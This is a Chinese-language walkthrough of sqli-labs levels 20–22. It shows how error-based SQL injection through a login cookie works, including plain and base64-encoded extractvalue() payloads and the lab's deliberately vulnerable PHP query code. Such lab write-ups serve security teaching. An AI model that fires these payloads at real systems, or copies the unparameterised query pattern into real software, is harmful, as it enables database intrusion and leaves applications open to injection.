概述
文章目录
- 20.Less20-Cookie Injection-Error Based
- 20.1、注入分析
- 20.2、代码分析
- 21、Cookie Injection-Error Based
- 21.1、注入分析
- 21.2、代码分析
- 22.Less22-Cookie Injection-Error Based-Double Quotes
- 22.1、注入分析
- 22.2、代码分析
20.Less20-Cookie Injection-Error Based
20.1、注入分析
有源码我们可知,当我们第一次输入username和password时,cookie从username中获得值;当我们再次刷新时,会从cookie中读取username,然后进行查询。
登录成功后,我们修改cookie,再次刷新时,这时候的sql语句就会被修改了。
报错显示数据库路径:
如下图,我们在tamper data(firefox插件)中,将cookie改为报错注入语句,然后不断地点击“OK”按钮,最后页面报错,显示了mysql数据库路径。
如下图,我们可以看见报错显示出来了mysql的路径。其他的数据请读者按照这个依次进行注入推导出来啦!
20.2、代码分析
//如果cookie为空
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/Less-20.jpg" />';
echo "<br><br><b>";
echo '<br><font color= "red" font size="4">';
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "</font><br>";
echo '<font color= "cyan" font size="4">';
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "</font><br>";
echo '<font color= "#FFFF00" font size = 4 >';
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
echo '<font color= "orange" font size = 5 >';
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "pink" font size="5">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo '<font color= "grey" font size="5">';
echo 'Your Password:' .$row['password'];
echo "</font></b>";
echo "<br>";
echo 'Your ID:' .$row['id'];
}
21、Cookie Injection-Error Based
21.1、注入分析
这一关和上一关类似的,需要进行两次刷新,以下是刷新I前与刷新后的页面显示:
我们可以发现这里的从cookie进行了加密,尝试了编码之后我们可以发现。他只是进行一层base64加密。
类似于less20,这里的闭合方式为“单引号+括号”,剩下的只需要将注入语句进行base64加密即可。
在此给出一个payload,剩下的请读者自行脑补啦!
报错产生Mysql数据库的路径:
admin') and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and ('1')=('1
//进行base64加密后
YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSBhbmQgKCcxJyk9KCcx
21.2、代码分析
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
$cookee = base64_decode($cookee);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "pink" font size="5">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo '<font color= "grey" font size="5">';
echo 'Your Password:' .$row['password'];
echo "</font></b>";
echo "<br>";
echo 'Your ID:' .$row['id'];
}
22.Less22-Cookie Injection-Error Based-Double Quotes
22.1、注入分析
这一关与上一关是一样的,我们可以从源码得知,这里对cookie的闭合发生为双引号闭合。
类似于less20和less21,可以构造payload:
amdin" and extractvalue(1,concat(0x7e,(select version()),0x7e)) and "1"="1
//base64编码后为
YW1kaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHZlcnNpb24oKSksMHg3ZSkpIGFuZCAiMSI9IjE=
运行结果如下:
22.2、代码分析
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "pink" font size="5">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo '<font color= "grey" font size="5">';
echo 'Your Password:' .$row['password'];
echo "</font></b>";
echo "<br>";
echo 'Your ID:' .$row['id'];
}
else
{
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/slap1.jpg" />';
echo "<br><br><b>";
//echo '<img src="../images/Less-20.jpg" />';
}
echo '<center>';
echo '<form action="" method="post">';
echo '<input type="submit" name="submit" value="Delete Your Cookie!" />';
echo '</form>';
echo '</center>';
}
最后
以上就是帅气心锁为你收集整理的Sqllibs-Less20-22-cookie注入20.Less20-Cookie Injection-Error Based21、Cookie Injection-Error Based22.Less22-Cookie Injection-Error Based-Double Quotes的全部内容,希望文章能够帮你解决Sqllibs-Less20-22-cookie注入20.Less20-Cookie Injection-Error Based21、Cookie Injection-Error Based22.Less22-Cookie Injection-Error Based-Double Quotes所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复